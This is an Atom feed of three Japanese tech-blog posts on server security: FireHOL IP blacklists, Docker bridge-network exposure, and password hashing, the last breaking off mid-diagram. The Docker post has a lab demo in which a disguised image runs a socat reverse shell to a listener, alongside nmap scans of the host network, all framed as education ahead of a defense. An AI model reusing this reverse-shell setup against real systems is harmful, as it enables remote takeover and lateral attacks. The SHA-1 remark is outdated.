<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[技術部門のBlog]]></title>
  <link href="https://tech.mid-japan.com/atom.xml" rel="self"/>
  <link href="https://tech.mid-japan.com/"/>
  <updated>2017-08-29T10:22:18+09:00</updated>
  <id>https://tech.mid-japan.com/</id>
  <author>
    <name><![CDATA[Technical Division of MID Academic Promotions Inc.]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[FireHOLで公開されているIPブラックリストを楽に適用する話]]></title>
    <link href="https://tech.mid-japan.com/blog/2017/08/29/docker-firehol-update-ipsets/"/>
    <updated>2017-08-29T10:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2017/08/29/docker-firehol-update-ipsets</id>
    <content type="html"><![CDATA[<p>夏休み明けに考えたいセキュリティ強化の話です。</p>

<p>インターネット上にサーバを公開すると、ものの数時間で大量の攻撃を受け始めます。
攻撃を受けていることは、サーバのログを見ると確認できます。
例えばsshサーバに大量の認証失敗ログが残っている場合、それはsshにブルートフォース攻撃を受けている証拠です。
長いパスワードや公開鍵認証、脆弱性のないサーバやWebアプリケーションを使っていればこのような攻撃が成功する可能性はきわめて低いのですが、攻撃のログを見るのは全く気持ちの良いものではありません。</p>

<p>そのような攻撃を手軽に防ぐ方法としてIPブラックリストがあります。
FireHOLプロジェクトで提供されている良質なIPブラックリストを簡単に適用できるDocker imageを作成しましたので、今回はそれを紹介します。</p>

<!-- more -->


<h2>使い方</h2>

<p>本Docker imageを使うにはまず、Dockerをインストールしてください。</p>

<p>Dockerのインストールができたら、まずはfirehol-update-ipsetsコンテナを起動します。
以下のコマンドを実行するとコンテナイメージのダウンロードと実行、最新のIPブラックリストのダウンロードと定期更新が自動で開始されます。</p>

<pre><code>$ docker volume create firehol-update-upsets
$ docker run --name firehol-update-ipsets -it -d --restart=always --cap-add=NET_ADMIN --net=host -v firehol-update-ipsets:/etc/firehol/ipsets devrt/firehol-update-ipsets
</code></pre>

<p>上のコマンドが実行できたら、IPブラックリストを設定し有効化しましょう。ここではfirehol_level2とtor_exitsを設定します。</p>

<pre><code>$ docker exec firehol-update-ipsets enable firehol_level2
$ docker exec firehol-update-ipsets enable tor_exits
</code></pre>

<p>firehol_level2は、sshブルートフォース攻撃などインターネット上の攻撃を行ってくるサーバのIPアドレスを様々な情報源から自動収集したIPブラックリストで、現在約42,000個のIPアドレスが登録されています。
IPアドレスの内訳（総数や国別）は以下のURLで閲覧できます。</p>

<p><a href="http://iplists.firehol.org/?ipset=firehol_level2">http://iplists.firehol.org/?ipset=firehol_level2</a></p>

<p>tor_exitsは、Torの出口サーバのIPアドレス一覧をブラックリスト化したものです。
このブラックリストを適用することでTorネットワークからのアクセスを防ぐことができます。
Torは正義のための匿名化をうたってはいますが、実態は悪用がほとんどなのでアクセスをできなくするのがおすすめです。</p>

<p><a href="http://iplists.firehol.org/?ipset=tor_exits">http://iplists.firehol.org/?ipset=tor_exits</a></p>

<p>上記以外にもFireHOLでは様々なIPブラックリストが公開されており、攻撃の状況に合わせて選ぶことができます。</p>

<p>一点、注意点として、FireHOLで提供されているIPブラックリストには、プライベートIPを含むものがあります（例えば、firehol_level1）。
管理用にプライベートIPを設定したサーバに、このブラックリストを適用するとsshを使ったログインなどができなくなってしまうので気を付けてください。
プライベートIPを含むIPブラックリストは以下のURLから確認できます。</p>

<p><a href="http://iplists.firehol.org/?ipset=iblocklist_iana_private">http://iplists.firehol.org/?ipset=iblocklist_iana_private</a></p>

<p>IPブラックリストの適用ができたら、その設定がカーネルに反映されているか、以下のコマンドで確認してみましょう。</p>

<pre><code>$ sudo ipset list -t
$ sudo iptables-save
</code></pre>

<p>IPブラックリストはカーネルのipsetの仕組みを使って適用されるので、大量のIPアドレスを含んだブラックリストでも高速にフィルタ処理できます。</p>

<p>しばらくしてからサーバのログを見ると、攻撃のログが目に見えて減っているはずです。
tor_exitsが動作しているかどうかは、Torブラウザを使ってサーバにアクセスしてみることでも確認できます。</p>

<p>一度設定を行うと、以降は最新のIPブラックリストへの更新と適用が自動で行われます。
以下のコマンドで更新のログを確認できます。</p>

<pre><code>$ docker logs firehol-update-ipsets
</code></pre>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[意外に怖いDockerブリッジネットワークの話とその対策]]></title>
    <link href="https://tech.mid-japan.com/blog/2017/08/17/docker-host-network-firewall/"/>
    <updated>2017-08-17T13:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2017/08/17/docker-host-network-firewall</id>
    <content type="html"><![CDATA[<p>夏休みに考えたいセキュリティの話です。</p>

<p>ここ数年、普及期を迎えているDockerですが、細かく突っ込んでみると危ない部分があったので、知見を共有するとともに対策を紹介します。</p>

<!-- more -->


<h1>セキュリティが緩いDockerブリッジネットワーク</h1>

<p>Dockerには複数種の仮想ネットワークを作成する機能があり、「ブリッジネットワーク」はその中でも最もよく使われる仮想ネットワークです。</p>

<p>オプションなしでコンテナを起動すると、コンテナは「bridge(docker0)」というブリッジネットワークに接続され、コンテナ間の通信や外部通信はそこを通して行われます。
また、最新のDockerでサポートされたswarm modeを使う場合、コンテナには「ingress」というコンテナ内で立ち上げたサーバのポートを外部公開するための特殊ネットワークと、「docker_gwbridge」というインターネットアクセスを提供するブリッジネットワークが接続されます。</p>

<p>ブリッジネットワークはホストコンピュータ上ではIP masqueradeを使ったNATにより実現されており、Dockerが各ブリッジネットワークに割り当てているネットワークアドレス（「docker network inspect」コマンドで確認可能）からのルーティングがiptablesのFORWARDルールの形で自動設定されます。
複数のブリッジネットワークを作成することもでき、それらのネットワーク間での通信はできないようにiptablesのルールが生成されるため、セキュリティも容易に確保できます。</p>

<p>ただ非常に大きな注意点として、セキュリティはDockerの「ブリッジネットワーク間」では確保されているのですが、「ブリッジからホスト」は全く確保されていません。
これは以下の実験をすることで確認できます。</p>

<p>まずは以下のようなDockerfileを作成します。alpine linuxのイメージに対してnmapというネットワークスキャンツールをインストールしています。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>Dockerfile </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>FROM alpine:latest
</span><span class='line'>
</span><span class='line'>RUN apk add --no-cache nmap
</span><span class='line'>
</span><span class='line'>ENTRYPOINT ["nmap"]</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>以下のコマンドでイメージをビルドします。</p>

<pre><code>$ docker build -t nmap .
</code></pre>

<p>nmapをコンテナ内部で起動して、コンテナ内からホストネットワークがどれだけ見えるか調査します。</p>

<p>以下のコマンドを入れると、コンテナ内でのゲートウェイサーバ（＝ホストコンピュータ）のIPアドレスを調査し、そのコンピュータをnmapでポートスキャンします。</p>

<pre><code>$ GWIP=`docker network inspect --format='{{(index .IPAM.Config 0).Gateway}}' bridge`
$ echo $GWIP
$ docker run -it --rm nmap $GWIP
</code></pre>

<p>実行してみるとホストコンピュータのポートが丸見えであることが確認できると思います。</p>

<p>以下のコマンドを入れると、ホストネットワークのプライベートIPを調査し、24ビットサブネットであると仮定してnmapでスキャンします。</p>

<pre><code>$ MYIP=`ip route get 8.8.8.8 | awk '{print $NF; exit}'`
$ echo $MYIP
$ docker run -it --rm nmap $MYIP/24
</code></pre>

<p>実行すると確認できると思いますが、Dockerのデフォルト設定だとホストコンピュータだけでなく、ホストコンピュータが接続されているプライベートネットワークもコンテナから丸見えです。</p>

<p>利用しているDockerイメージがすべて自作のものであればよいと思いますが、通常はDocker Hubなどからダウンロードしてきたイメージも多く利用すると思います。その場合、以下のような攻撃を受ける危険性があります。</p>

<h1>Dockerコンテナを使ったトロイの木馬型攻撃（実験）</h1>

<p><img src="https://tech.mid-japan.com/images/troy_mokuba.png" alt="Trojan Horse" /></p>

<p>トロイの木馬型攻撃は、一見有用な機能を持ったソフトウェア（立派な木馬）をインターネット上に公開しておき、それをインストールする（城内に引っ張り入れる）と意図しない攻撃を受ける（内部から敵の兵士が出てくる）という攻撃手法です。
このような攻撃はDockerコンテナを使うことで容易に実行可能です。</p>

<p><strong>注意</strong>
  ここから先に書かれた内容はセキュリティの学習を意図しています。許可されていない対象の攻撃には絶対に利用しないでください。</p>

<p>例えば攻撃側は以下のようなスクリプトを用意します。
このスクリプトには、コンテナ内でbashを起動し、socatコマンドによってその出力をサーバに送信する処理が書かれています。
実際の攻撃ではサーバのIPアドレスがグローバルIPになるはずですが、今回の実験では127.0.0.1のIPアドレスを使います。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>very-evil-script.sh </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='sh'><span class='line'><span></span><span class="ch">#!/bin/sh</span>
</span><span class='line'>socat tcp:127.0.0.1:4545 exec:<span class="s2">&quot;bash -i&quot;</span>,pty,stderr,setsid,sigint,sane
</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>このようなbash接続のテクニックは「reverse shell」と呼ばれインターネット上で様々なやり方が公開されています
（以下の記事でも書かれていますが、脆弱性攻撃をされた後のリモコンに使われるのがこのテクニックなので、似たコードが自分が管理しているサイトに埋め込まれているのを見たら緊急で対処を考えましょう）。</p>

<p><a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></p>

<p><a href="https://github.com/cornerpirate/socat-shell">https://github.com/cornerpirate/socat-shell</a></p>

<p>攻撃側は以下のようなDockerfileを使ってイメージをビルドします。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>Dockerfile </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>FROM alpine:latest
</span><span class='line'>
</span><span class='line'>RUN apk add --no-cache socat bash
</span><span class='line'>
</span><span class='line'>ADD very-evil-script.sh .
</span><span class='line'>
</span><span class='line'>CMD ["sh", "very-evil-script.sh"]</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>イメージ名はvery-useful-appとでもしておきましょう。</p>

<pre><code>$ docker build -t very-useful-app .
</code></pre>

<p>攻撃側は、以下のコマンドでサーバを立ち上げます。</p>

<pre><code>$ socat -,raw,echo=0 tcp-listen:4545
</code></pre>

<p>攻撃側はビルドしたイメージをDockerレジストリにプッシュし、被害者が実行するのを待ちます（<strong>この部分は実際にはやらないでください</strong>）。</p>

<p>被害者側を想定した新しいターミナルを立ち上げ、以下のコマンドを入れてコンテナを起動してみましょう。</p>

<pre><code>$ docker run -it --net=host very-useful-app
</code></pre>

<p>サーバ側にbashのプロンプトが出るのが確認できると思います。
今回は攻撃側のサーバが127.0.0.1で立ち上がっているため、コンテナ起動時に「&ndash;net=host」オプションを付けましたが、グローバルIPに接続する場合は必要ありません。</p>

<p>コンテナ上ではbashがroot権限で起動しているため、プロンプトを使って任意のコマンドを遠隔実行できます。
nmapをインストールしてネットワークスキャンすれば、ブリッジネットワークを通して、被害者のプライベートネットワークに対して様々な攻撃が可能になってしまいます。
また、困ったことにsocatとbashは非常によく使われるコマンドであるため、イメージファイルをスキャンしても、セキュリティスキャナがこのスクリプトをウィルスの一種として検出することは困難です。</p>

<h1>防御方法</h1>

<p>上記のような攻撃による被害を軽減するために、ファイアウォール強化スクリプトを作成し公開しました。</p>

<p><a href="https://github.com/devrt/docker-host-network-firewall">https://github.com/devrt/docker-host-network-firewall</a></p>

<p>使い方ですが、まずは、デフォルト状態のiptablesをチェックします。</p>

<pre><code>$ sudo iptables-save
</code></pre>

<p>nmapスキャンにより、現状のリスクを一覧します。</p>

<pre><code>$ git clone https://github.com/devrt/docker-host-network-firewall.git
$ cd docker-host-network-firewall
$ ./test.sh
</code></pre>

<p>以下のコマンドを入力しファイアウォールを強化します。</p>

<p>以下のコマンドは、「&ndash;cap-add=NET_ADMIN」オプションがついていますし、コンテナ内からdocker.sockにアクセス可能になっていますので、一般的には危ないコマンドです。
githubレポジトリの中を見てリスクがないことを理解したうえで実行してください。</p>

<pre><code>$ docker run -ti --rm --cap-add=NET_ADMIN --net=host -v /var/run/docker.sock:/var/run/docker.sock devrt/host-network-firewall
</code></pre>

<p>ファイアウォール強化後のiptablesをチェックします。</p>

<pre><code>$ sudo iptables-save
</code></pre>

<p>nmapスキャンを再度実行し、リスクが消えていることを確認してください。</p>

<pre><code>$ ./test.sh
</code></pre>

<p>ファイアウォールの効果が確認出来たら、以下のコマンドを実行し、PCの再起動後も常にファイアウォールが適用されるようにしておきましょう。</p>

<pre><code>$ docker run --name host-network-firewall -d --restart=always --cap-add=NET_ADMIN --net=host -v /var/run/docker.sock:/var/run/docker.sock devrt/host-network-firewall
</code></pre>

<h2>注</h2>

<p>上記の対策で、ブリッジネットワークを経由してホストコンピュータが接続されたプライベートネットワークを攻撃されるのを防ぐことができるようになりました。
ただし、同じブリッジネットワークに接続されたコンテナ同士はスキャンされ攻撃されるリスクがまだ残っていますので、その点は注意してください。</p>

<p>よりセキュリティを強化することを考えると、コンテナからのインターネットアクセスをすべてできなくしてしまう（reverse shellがサーバに接続できなくしてしまう）という追加の対策も考えられます。</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[暗号化されたパスワードを含むアカウント情報が漏洩した、らどうすればよいか？]]></title>
    <link href="https://tech.mid-japan.com/blog/2017/01/03/password-decryption/"/>
    <updated>2017-01-03T13:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2017/01/03/password-decryption</id>
    <content type="html"><![CDATA[<p>新春に考えたいセキュリティの話です。</p>

<p>去年「暗号化されたパスワードを含むアカウント情報が漏洩した」というニュースを多く聞きました。
このニュースを聞いてどう思うでしょうか？</p>

<p>「漏洩したからといって、暗号化されているのだからまだ安全なはずだ」と考えるのは危険です。
この記事ではGPUを使ったブルートフォース攻撃で、いとも簡単に暗号化されたパスワード（＝パスワードハッシュ）を解読できることをデモを通して示します。</p>

<p>セキュリティの基本的な仕組みと問題、守り方を復習して新年の業務に備えましょう。</p>

<!-- more -->


<h1>パスワードとハッシュ関数</h1>

<p>パスワードの仕組みを学ぶと必ず出てくるキーワードが「ハッシュ関数」です。
ハッシュ関数は「出力から入力を推定することができない」という特徴を持った関数です。
数学的に言うと「逆関数を計算することができない」のがハッシュ関数なのですが、できなくするためにどんな天才数学者をもってしても解けないようなとても意地が悪い複雑な形をした式になっています。</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: tree Pages: 1 -->
<svg role="img" aria-label="" width="373pt" height="98pt"
 viewBox="0.00 0.00 372.88 98.00"  >
<title></title>
<desc>
digraph tree {
    rankdir=LR;

    入力2 -&gt; 逆関数 [dir=back];
    逆関数 -&gt; ハッシュ値2 [dir=back];
    逆関数 [shape=rect];
    入力2 [label=&quot;元の入力&quot;];
    ハッシュ値2 [label=&quot;ハッシュ値&quot;];

    入力 -&gt; ハッシュ関数 -&gt; ハッシュ値;
    ハッシュ関数 [shape=rect];
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 94)">
<title>tree</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-94 368.882,-94 368.882,4 -4,4"/>
<!-- 入力2 -->
<g id="node1" class="node"><title>入力2</title>
<ellipse fill="none" stroke="black" cx="47.4458" cy="-18" rx="47.3916" ry="18"/>
<text text-anchor="middle" x="47.4458" y="-14.3" font-family="Times,serif" font-size="14.00">元の入力</text>
</g>
<!-- 逆関数 -->
<g id="node2" class="node"><title>逆関数</title>
<polygon fill="none" stroke="black" points="207.392,-36 148.392,-36 148.392,-0 207.392,-0 207.392,-36"/>
<text text-anchor="middle" x="177.892" y="-14.3" font-family="Times,serif" font-size="14.00">逆関数</text>
</g>
<!-- 入力2&#45;&gt;逆関数 -->
<g id="edge1" class="edge"><title>入力2&#45;&gt;逆関数</title>
<path fill="none" stroke="black" d="M105.352,-18C120.223,-18 135.624,-18 148.311,-18"/>
<polygon fill="black" stroke="black" points="105.181,-14.5001 95.181,-18 105.181,-21.5001 105.181,-14.5001"/>
</g>
<!-- ハッシュ値2 -->
<g id="node3" class="node"><title>ハッシュ値2</title>
<ellipse fill="none" stroke="black" cx="312.887" cy="-18" rx="51.9908" ry="18"/>
<text text-anchor="middle" x="312.887" y="-14.3" font-family="Times,serif" font-size="14.00">ハッシュ値</text>
</g>
<!-- 逆関数&#45;&gt;ハッシュ値2 -->
<g id="edge2" class="edge"><title>逆関数&#45;&gt;ハッシュ値2</title>
<path fill="none" stroke="black" d="M217.779,-18C231.251,-18 246.562,-18 260.863,-18"/>
<polygon fill="black" stroke="black" points="217.422,-14.5001 207.422,-18 217.422,-21.5001 217.422,-14.5001"/>
</g>
<!-- 入力 -->
<g id="node4" class="node"><title>入力</title>
<ellipse fill="none" stroke="black" cx="47.4458" cy="-72" rx="29.4969" ry="18"/>
<text text-anchor="middle" x="47.4458" y="-68.3" font-family="Times,serif" font-size="14.00">入力</text>
</g>
<!-- ハッシュ関数 -->
<g id="node5" class="node"><title>ハッシュ関数</title>
<polygon fill="none" stroke="black" points="224.892,-90 130.892,-90 130.892,-54 224.892,-54 224.892,-90"/>
<text text-anchor="middle" x="177.892" y="-68.3" font-family="Times,serif" font-size="14.00">ハッシュ関数</text>
</g>
<!-- 入力&#45;&gt;ハッシュ関数 -->
<g id="edge3" class="edge"><title>入力&#45;&gt;ハッシュ関数</title>
<path fill="none" stroke="black" d="M76.9521,-72C89.8029,-72 105.451,-72 120.515,-72"/>
<polygon fill="black" stroke="black" points="120.809,-75.5001 130.809,-72 120.809,-68.5001 120.809,-75.5001"/>
</g>
<!-- ハッシュ値 -->
<g id="node6" class="node"><title>ハッシュ値</title>
<ellipse fill="none" stroke="black" cx="312.887" cy="-72" rx="51.9908" ry="18"/>
<text text-anchor="middle" x="312.887" y="-68.3" font-family="Times,serif" font-size="14.00">ハッシュ値</text>
</g>
<!-- ハッシュ関数&#45;&gt;ハッシュ値 -->
<g id="edge4" class="edge"><title>ハッシュ関数&#45;&gt;ハッシュ値</title>
<path fill="none" stroke="black" d="M225.034,-72C233.338,-72 242.111,-72 250.762,-72"/>
<polygon fill="black" stroke="black" points="250.826,-75.5001 260.826,-72 250.826,-68.5001 250.826,-75.5001"/>
</g>
</g>
</svg>
</div>


<p>パスワードはハッシュ関数で計算した「ハッシュ値」としてコンピュータ上に保存されています。
通常コンピュータ上にはハッシュ値だけしか保存されていません。
ユーザが入力するのはパスワードですが、以下のようにしてハッシュ値に変換して比較します。</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: tree Pages: 1 -->
<svg role="img" aria-label="" width="476pt" height="98pt"
 viewBox="0.00 0.00 475.57 98.00"  >
<title></title>
<desc>
digraph tree {
    rankdir=LR;

    パスワード入力 -&gt; ハッシュ関数 -&gt; ハッシュ値;
    ハッシュ関数 [shape=rect];

    入力2 -&gt; ハッシュ関数2 [style=dashed];
    ハッシュ関数2 -&gt; ハッシュ値2 [style=dashed];
    ハッシュ関数2 [shape=rect, style=dashed, label=&quot;ハッシュ関数&quot;];
    入力2 [style=dashed, label=&quot;パスワード設定&quot;];
    ハッシュ値2 [label=&quot;パスワードハッシュ&quot;];
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 94)">
<title>tree</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-94 471.573,-94 471.573,4 -4,4"/>
<!-- パスワード入力 -->
<g id="node1" class="node"><title>パスワード入力</title>
<ellipse fill="none" stroke="black" cx="68.8939" cy="-18" rx="68.7879" ry="18"/>
<text text-anchor="middle" x="68.8939" y="-14.3" font-family="Times,serif" font-size="14.00">パスワード入力</text>
</g>
<!-- ハッシュ関数 -->
<g id="node2" class="node"><title>ハッシュ関数</title>
<polygon fill="none" stroke="black" points="267.788,-36 173.788,-36 173.788,-0 267.788,-0 267.788,-36"/>
<text text-anchor="middle" x="220.788" y="-14.3" font-family="Times,serif" font-size="14.00">ハッシュ関数</text>
</g>
<!-- パスワード入力&#45;&gt;ハッシュ関数 -->
<g id="edge1" class="edge"><title>パスワード入力&#45;&gt;ハッシュ関数</title>
<path fill="none" stroke="black" d="M137.824,-18C146.415,-18 155.13,-18 163.512,-18"/>
<polygon fill="black" stroke="black" points="163.54,-21.5001 173.54,-18 163.54,-14.5001 163.54,-21.5001"/>
</g>
<!-- ハッシュ値 -->
<g id="node3" class="node"><title>ハッシュ値</title>
<ellipse fill="none" stroke="black" cx="385.681" cy="-18" rx="51.9908" ry="18"/>
<text text-anchor="middle" x="385.681" y="-14.3" font-family="Times,serif" font-size="14.00">ハッシュ値</text>
</g>
<!-- ハッシュ関数&#45;&gt;ハッシュ値 -->
<g id="edge2" class="edge"><title>ハッシュ関数&#45;&gt;ハッシュ値</title>
<path fill="none" stroke="black" d="M268.031,-18C285.252,-18 305.074,-18 323.434,-18"/>
<polygon fill="black" stroke="black" points="323.458,-21.5001 333.458,-18 323.458,-14.5001 323.458,-21.5001"/>
</g>
<!-- 入力2 -->
<g id="node4" class="node"><title>入力2</title>
<ellipse fill="none" stroke="black" stroke-dasharray="5,2" cx="68.8939" cy="-72" rx="68.7879" ry="18"/>
<text text-anchor="middle" x="68.8939" y="-68.3" font-family="Times,serif" font-size="14.00">パスワード設定</text>
</g>
<!-- ハッシュ関数2 -->
<g id="node5" class="node"><title>ハッシュ関数2</title>
<polygon fill="none" stroke="black" stroke-dasharray="5,2" points="267.788,-90 173.788,-90 173.788,-54 267.788,-54 267.788,-90"/>
<text text-anchor="middle" x="220.788" y="-68.3" font-family="Times,serif" font-size="14.00">ハッシュ関数</text>
</g>
<!-- 入力2&#45;&gt;ハッシュ関数2 -->
<g id="edge3" class="edge"><title>入力2&#45;&gt;ハッシュ関数2</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M137.824,-72C146.415,-72 155.13,-72 163.512,-72"/>
<polygon fill="black" stroke="black" points="163.54,-75.5001 173.54,-72 163.54,-68.5001 163.54,-75.5001"/>
</g>
<!-- ハッシュ値2 -->
<g id="node6" class="node"><title>ハッシュ値2</title>
<ellipse fill="none" stroke="black" cx="385.681" cy="-72" rx="81.7856" ry="18"/>
<text text-anchor="middle" x="385.681" y="-68.3" font-family="Times,serif" font-size="14.00">パスワードハッシュ</text>
</g>
<!-- ハッシュ関数2&#45;&gt;ハッシュ値2 -->
<g id="edge4" class="edge"><title>ハッシュ関数2&#45;&gt;ハッシュ値2</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M268.031,-72C276.008,-72 284.543,-72 293.233,-72"/>
<polygon fill="black" stroke="black" points="293.48,-75.5001 303.48,-72 293.48,-68.5001 293.48,-75.5001"/>
</g>
</g>
</svg>
</div>


<p>ハッシュ関数は入力値が違えばハッシュ値も違うように注意深く設計されているため、「ハッシュ値が一致する＝パスワードが一致する」と考えることができます。
（ハッシュ関数を注意深く設計していても、異なる入力に対して同じハッシュ値を出力してしまうケースもあります。
そのようなケースを「ハッシュ値の衝突」と呼び、衝突が起こる頻度はハッシュ関数の性能を測る一つの尺度になります。
MD5というハッシュ関数はすでにそのような衝突をするケースが発見されています。SHA-1はまだそのような衝突が発見されていない、より強いハッシュ関数です。）</p>

<p>コンピュータ上に保存されたハッシュ値から元のパスワードを推定することはできません。
ハッシュ値の形でパスワードを保存しておくことで万一ハッシュ値が漏洩した場合でも、ある程度のセキュリティを確保することができます。
これがコンピュータセキュリティの基本であり「パスワードの暗号化」の正体です。</p>

<p>UNIX系のシステムの場合、管理者しか見ることができない「/etc/shadow」ファイルの中に各ユーザのパスワードハッシュが保存されています。
Windowsの場合は、管理者でも見ることができない特殊なレジストリ値（SAM領域）としてパスワードハッシュが保存されています。
ユーザ認証を行うWebアプリケーションやActive Directoryの場合は、データベースに各ユーザのパスワードハッシュが保存されます。
攻撃者はシステムへの侵入やSQLインジェクション攻撃、認証プロトコルのパケットキャプチャなどによってこれらのハッシュ値を盗もうとします。</p>

<h1>ブルートフォース攻撃によるパスワードの解読</h1>

<p>新しいハッシュ関数が考案されると、衝突可能性が検査されると同時に、本当に出力から入力を推定することができないかどうか多方面からの検討が行われます。</p>

<p>逆関数が計算できないにしろ、もしかしたらハッシュ値から入力を推定する部分的な手掛かりがあるかもしれません。
そのような甘い部分がないかどうかを検証するために、セキュリティの専門家達は考案されたハッシュ関数を徹底的に攻撃します。
現行利用されているハッシュ関数はそのような攻撃に耐えたものであるため（今後、新たな攻撃手法が発明されない限りは）安全に利用することができると考えられています。</p>

<p>ただ、逆の推定ができないハッシュ値ですがそこからパスワードを解読する方法もあります。
それがこれから紹介する「ブルートフォース（brute force）攻撃」です。</p>

<p>bruteは「野蛮」という意味です。
ブルートフォース攻撃は直訳すると「野蛮な力（チカラワザ）」を使った攻撃なのですが、具体的には以下のようにしてパスワードを解読しようとします。</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: tree Pages: 1 -->
<svg role="img" aria-label="" width="506pt" height="116pt"
 viewBox="0.00 0.00 506.08 115.87"  >
<title></title>
<desc>
digraph tree {
    rankdir=LR;

    適当に生成した大量のパスワード -&gt; ハッシュ関数 -&gt; ハッシュ値;
    ハッシュ関数 [shape=rect];
    適当に生成した大量のパスワード [label=&quot;適当に生成した\n大量のパスワード&quot;];

    入力2 -&gt; ハッシュ関数2 [style=dashed];
    ハッシュ関数2 -&gt; ハッシュ値2 [style=dashed];
    ハッシュ関数2 [shape=rect, style=dashed, label=&quot;ハッシュ関数&quot;];
    入力2 [style=dashed, label=&quot;パスワード設定&quot;];
    ハッシュ値2 [label=&quot;パスワードハッシュ&quot;];
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 111.87)">
<title>tree</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-111.87 502.077,-111.87 502.077,4 -4,4"/>
<!-- 適当に生成した大量のパスワード -->
<g id="node1" class="node"><title>適当に生成した大量のパスワード</title>
<ellipse fill="none" stroke="black" cx="84.1457" cy="-26.8701" rx="84.2917" ry="26.7407"/>
<text text-anchor="middle" x="84.1457" y="-30.6701" font-family="Times,serif" font-size="14.00">適当に生成した</text>
<text text-anchor="middle" x="84.1457" y="-15.6701" font-family="Times,serif" font-size="14.00">大量のパスワード</text>
</g>
<!-- ハッシュ関数 -->
<g id="node2" class="node"><title>ハッシュ関数</title>
<polygon fill="none" stroke="black" points="298.291,-44.8701 204.291,-44.8701 204.291,-8.87006 298.291,-8.87006 298.291,-44.8701"/>
<text text-anchor="middle" x="251.291" y="-23.1701" font-family="Times,serif" font-size="14.00">ハッシュ関数</text>
</g>
<!-- 適当に生成した大量のパスワード&#45;&gt;ハッシュ関数 -->
<g id="edge1" class="edge"><title>適当に生成した大量のパスワード&#45;&gt;ハッシュ関数</title>
<path fill="none" stroke="black" d="M168.686,-26.8701C177.236,-26.8701 185.773,-26.8701 193.929,-26.8701"/>
<polygon fill="black" stroke="black" points="194.028,-30.3702 204.028,-26.8701 194.028,-23.3702 194.028,-30.3702"/>
</g>
<!-- ハッシュ値 -->
<g id="node3" class="node"><title>ハッシュ値</title>
<ellipse fill="none" stroke="black" cx="416.184" cy="-26.8701" rx="51.9908" ry="18"/>
<text text-anchor="middle" x="416.184" y="-23.1701" font-family="Times,serif" font-size="14.00">ハッシュ値</text>
</g>
<!-- ハッシュ関数&#45;&gt;ハッシュ値 -->
<g id="edge2" class="edge"><title>ハッシュ関数&#45;&gt;ハッシュ値</title>
<path fill="none" stroke="black" d="M298.534,-26.8701C315.756,-26.8701 335.578,-26.8701 353.938,-26.8701"/>
<polygon fill="black" stroke="black" points="353.962,-30.3702 363.962,-26.8701 353.962,-23.3702 353.962,-30.3702"/>
</g>
<!-- 入力2 -->
<g id="node4" class="node"><title>入力2</title>
<ellipse fill="none" stroke="black" stroke-dasharray="5,2" cx="84.1457" cy="-89.8701" rx="68.7879" ry="18"/>
<text text-anchor="middle" x="84.1457" y="-86.1701" font-family="Times,serif" font-size="14.00">パスワード設定</text>
</g>
<!-- ハッシュ関数2 -->
<g id="node5" class="node"><title>ハッシュ関数2</title>
<polygon fill="none" stroke="black" stroke-dasharray="5,2" points="298.291,-107.87 204.291,-107.87 204.291,-71.8701 298.291,-71.8701 298.291,-107.87"/>
<text text-anchor="middle" x="251.291" y="-86.1701" font-family="Times,serif" font-size="14.00">ハッシュ関数</text>
</g>
<!-- 入力2&#45;&gt;ハッシュ関数2 -->
<g id="edge3" class="edge"><title>入力2&#45;&gt;ハッシュ関数2</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M153.27,-89.8701C166.731,-89.8701 180.721,-89.8701 193.747,-89.8701"/>
<polygon fill="black" stroke="black" points="193.96,-93.3702 203.96,-89.8701 193.96,-86.3702 193.96,-93.3702"/>
</g>
<!-- ハッシュ値2 -->
<g id="node6" class="node"><title>ハッシュ値2</title>
<ellipse fill="none" stroke="black" cx="416.184" cy="-89.8701" rx="81.7856" ry="18"/>
<text text-anchor="middle" x="416.184" y="-86.1701" font-family="Times,serif" font-size="14.00">パスワードハッシュ</text>
</g>
<!-- ハッシュ関数2&#45;&gt;ハッシュ値2 -->
